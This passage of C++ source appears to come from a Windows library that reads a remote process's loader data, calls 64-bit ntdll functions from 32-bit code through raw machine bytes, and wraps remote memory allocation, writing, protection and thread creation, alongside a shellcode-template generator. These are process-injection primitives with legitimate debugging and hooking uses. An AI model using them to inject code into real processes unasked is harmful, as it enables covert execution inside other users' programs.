DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||||
|
{
|
||||||
|
if (!hModule || !funcName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
IMAGE_DOS_HEADER idh;
|
||||||
|
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS32 inh;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (!idd.VirtualAddress)return 0;
|
||||||
|
|
||||||
|
IMAGE_EXPORT_DIRECTORY ied;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||||
|
std::string func(strlen(funcName), 0);
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (func == funcName) {
|
||||||
|
WORD ord = 0;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
DWORD rva = 0;
|
||||||
|
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
return hModule + rva;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
|
||||||
|
{
|
||||||
|
if (!moduleName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
|
||||||
|
const int ProcessBasicInformation = 0;
|
||||||
|
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
PEB64 peb;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
PEB_LDR_DATA64 ldr;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
|
||||||
|
|
||||||
|
LDR_DATA_TABLE_ENTRY64 head;
|
||||||
|
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
|
||||||
|
do {
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
|
||||||
|
return head.DllBase;
|
||||||
|
} while (head.InLoadOrderLinks.Flink != LastEntry);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
|
||||||
|
{
|
||||||
|
if (!hModule || !funcName) return 0;
|
||||||
|
if (!hProcess) hProcess = detail::hCurProcess;
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
if (!NtWow64ReadVirtualMemory64) return 0;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
IMAGE_DOS_HEADER idh;
|
||||||
|
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS64 inh;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (!idd.VirtualAddress)return 0;
|
||||||
|
|
||||||
|
IMAGE_EXPORT_DIRECTORY ied;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
std::vector<DWORD> nameTable(ied.NumberOfNames);
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
|
||||||
|
if (!NT_SUCCESS(status)) return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
|
||||||
|
std::string func(strlen(funcName), 0);
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (func == funcName) {
|
||||||
|
WORD ord = 0;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
DWORD rva = 0;
|
||||||
|
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
return hModule + rva;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 GetNtDll64()
|
||||||
|
{
|
||||||
|
static DWORD64 hNtdll64 = 0;
|
||||||
|
if(hNtdll64) return hNtdll64;
|
||||||
|
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
|
||||||
|
return hNtdll64;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
|
||||||
|
#define SetLastError64 SetLastError
|
||||||
|
#define VirtualQueryEx64 VirtualQueryEx
|
||||||
|
#define VirtualAllocEx64 VirtualAllocEx
|
||||||
|
#define VirtualFreeEx64 VirtualFreeEx
|
||||||
|
#define VirtualProtectEx64 VirtualProtectEx
|
||||||
|
#define ReadProcessMemory64 ReadProcessMemory
|
||||||
|
#define WriteProcessMemory64 WriteProcessMemory
|
||||||
|
#define LoadLibrary64 LoadLibrary
|
||||||
|
#define CreateRemoteThread64 CreateRemoteThread
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
#define _(x) __asm __emit (x)
|
||||||
|
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
|
||||||
|
{
|
||||||
|
// see X64Call_disassemble for details
|
||||||
|
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
|
||||||
|
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
|
||||||
|
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
|
||||||
|
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
|
||||||
|
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
|
||||||
|
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
|
||||||
|
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
|
||||||
|
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
|
||||||
|
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
|
||||||
|
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
|
||||||
|
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
|
||||||
|
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
|
||||||
|
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
|
||||||
|
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
|
||||||
|
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
|
||||||
|
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
|
||||||
|
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
|
||||||
|
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
|
||||||
|
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
|
||||||
|
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
|
||||||
|
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
|
||||||
|
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
|
||||||
|
}
|
||||||
|
#undef _
|
||||||
|
}
|
||||||
|
|
||||||
|
class X64Call
|
||||||
|
{
|
||||||
|
template<typename char_t>
|
||||||
|
struct StringHelper : detail::GCBase
|
||||||
|
{
|
||||||
|
StringHelper(const char_t* v) : name(0) {
|
||||||
|
name = new _UNICODE_STRING_T<DWORD64>;
|
||||||
|
name->Buffer = (DWORD64)v;
|
||||||
|
name->Length = (WORD)tcslen(v) * sizeof(char_t);
|
||||||
|
name->MaximumLength = name->Length;
|
||||||
|
}
|
||||||
|
virtual void gc() { delete name; }
|
||||||
|
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
|
||||||
|
private:
|
||||||
|
_UNICODE_STRING_T<DWORD64>* name;
|
||||||
|
};
|
||||||
|
template<typename T>
|
||||||
|
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
|
||||||
|
return DWORD64(v);
|
||||||
|
}
|
||||||
|
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
DWORD64 func;
|
||||||
|
|
||||||
|
public:
|
||||||
|
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
|
||||||
|
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
|
||||||
|
|
||||||
|
operator DWORD64() { return func; }
|
||||||
|
|
||||||
|
DWORD64 operator()() { return func && x64Call(func, 0); }
|
||||||
|
|
||||||
|
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
|
||||||
|
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
|
||||||
|
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
|
||||||
|
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
|
||||||
|
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||||
|
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
|
||||||
|
#undef CALLERS
|
||||||
|
#undef END_TO_DWORD64_DECL
|
||||||
|
#undef TO_DWORD64_DECL
|
||||||
|
#undef __TO_DWORD64_DECL
|
||||||
|
};
|
||||||
|
|
||||||
|
inline VOID WINAPI SetLastError64(DWORD64 status)
|
||||||
|
{
|
||||||
|
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
|
||||||
|
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
|
||||||
|
|
||||||
|
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
|
||||||
|
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
|
||||||
|
|
||||||
|
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
|
||||||
|
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
|
||||||
|
}
|
||||||
|
|
||||||
|
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
|
||||||
|
{
|
||||||
|
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
|
||||||
|
if (!NtQueryVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 ret = 0;
|
||||||
|
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
|
||||||
|
if (!status) return (SIZE_T)ret;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||||
|
{
|
||||||
|
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
|
||||||
|
if (!NtAllocateVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 tmpAddr = lpAddress;
|
||||||
|
DWORD64 tmpSize = dwSize;
|
||||||
|
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
|
||||||
|
if (!ret) return tmpAddr;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||||
|
{
|
||||||
|
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
|
||||||
|
if (!NtFreeVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 tmpAddr = lpAddress;
|
||||||
|
DWORD64 tmpSize = dwSize;
|
||||||
|
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
|
||||||
|
if (!ret) return TRUE;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
|
||||||
|
{
|
||||||
|
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
|
||||||
|
if (!NtProtectVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 tmpAddr = lpAddress;
|
||||||
|
DWORD64 tmpSize = dwSize;
|
||||||
|
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
|
||||||
|
if (!ret) return TRUE;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
|
||||||
|
{
|
||||||
|
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
|
||||||
|
if (!NtReadVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 read = 0;
|
||||||
|
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
|
||||||
|
if (!ret) {
|
||||||
|
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
|
||||||
|
{
|
||||||
|
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
|
||||||
|
if (!NtWriteVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 written = 0;
|
||||||
|
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
|
||||||
|
if (!ret) {
|
||||||
|
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
|
||||||
|
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||||
|
SIZE_T dwStackSize,
|
||||||
|
DWORD64 lpStartAddress,
|
||||||
|
DWORD64 lpParameter,
|
||||||
|
DWORD dwCreationFlags,
|
||||||
|
LPDWORD lpThreadId)
|
||||||
|
{
|
||||||
|
static X64Call RtlCreateUserThread("RtlCreateUserThread");
|
||||||
|
if (!RtlCreateUserThread) return 0;
|
||||||
|
|
||||||
|
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
|
||||||
|
ULONG stackSize = dwStackSize;
|
||||||
|
DWORD64 handle = 0;
|
||||||
|
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
|
||||||
|
if (!status) return (HANDLE)handle;
|
||||||
|
|
||||||
|
SetLastError64(status);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
class ProcessWriter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template<typename T>
|
||||||
|
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
|
||||||
|
: _autoRelease(TRUE)
|
||||||
|
, _hProcess(hProcess)
|
||||||
|
, _dw64Address(0)
|
||||||
|
, _dwSize(dwSize)
|
||||||
|
{
|
||||||
|
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
|
||||||
|
return;
|
||||||
|
SIZE_T written = 0;
|
||||||
|
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
|
||||||
|
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||||
|
_dw64Address = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
~ProcessWriter() {
|
||||||
|
if (_dw64Address && _autoRelease)
|
||||||
|
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
void SetDontRelese() {
|
||||||
|
_autoRelease = FALSE;
|
||||||
|
}
|
||||||
|
operator DWORD64() {
|
||||||
|
return (DWORD64)_dw64Address;
|
||||||
|
}
|
||||||
|
#ifdef _WIN64
|
||||||
|
template<typename T>
|
||||||
|
operator T*() {
|
||||||
|
return (T*)_dw64Address;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
private:
|
||||||
|
BOOL _autoRelease;
|
||||||
|
HANDLE _hProcess;
|
||||||
|
#ifdef _WIN64
|
||||||
|
LPVOID _dw64Address;
|
||||||
|
#else
|
||||||
|
DWORD64 _dw64Address;
|
||||||
|
#endif
|
||||||
|
SIZE_T _dwSize;
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
std::string makeShellCode(int cnt, bool is64Bit)
|
||||||
|
{
|
||||||
|
if(is64Bit) {
|
||||||
|
// see X64Delegator_disassemble for details
|
||||||
|
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
|
||||||
|
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
|
||||||
|
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
|
||||||
|
0x20, 0x5b, 0xc3 };
|
||||||
|
|
||||||
|
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
|
||||||
|
if(!cnt) return templ_x64;
|
||||||
|
|
||||||
|
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
|
||||||
|
if(cnt >= 1)
|
||||||
|
templ_x64[16] = 0x3b;
|
||||||
|
|
||||||
|
if(cnt < 3) {
|
||||||
|
if(cnt >= 1) {
|
||||||
|
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
|
||||||
|
}
|
||||||
|
if(cnt >= 2) {
|
||||||
|
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
templ_x64[20] = 0x49;
|
||||||
|
templ_x64[21] = 0x10;
|
||||||
|
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
|
||||||
|
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
|
||||||
|
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
|
||||||
|
if(cnt >= 4) {
|
||||||
|
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
|
||||||
|
}
|
||||||
|
if(cnt >= 5) {
|
||||||
|
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
|
||||||
|
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
|
||||||
|
}
|
||||||
|
if(cnt >= 6) {
|
||||||
|
templ_x64[21] = 0x38;
|
||||||
|
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
|
||||||
|
templ_x64[50] = 0x28;
|
||||||
|
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
|
||||||
|
}
|
||||||
|
// TODO
|
||||||
|
}
|
||||||
|
return templ_x64;
|
||||||
|
}
|
||||||
|
// see X86Delegator_disassemble for details
|
||||||
|
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
|
||||||
|
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
|
||||||
|
0x8b, 0xe5, 0x5d, 0xc3 };
|
||||||
|
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
|
||||||
|
// je distance
|
||||||
|
templ_x86[9] += cnt * 7;
|
||||||
|
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
|
||||||
|
int pos = 13;
|
||||||
|
for(int i = 0; i < cnt; ++i) {
|
||||||
|
switch(i % 3) {
|
||||||
|
case 0:
|
||||||
|
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
templ_x86[pos + 2] = (cnt - i) << 2;
|
||||||
|
pos += 7;
|
||||||
|
}
|
||||||
|
switch(cnt % 3) {
|
||||||
|
case 0:
|
||||||
|
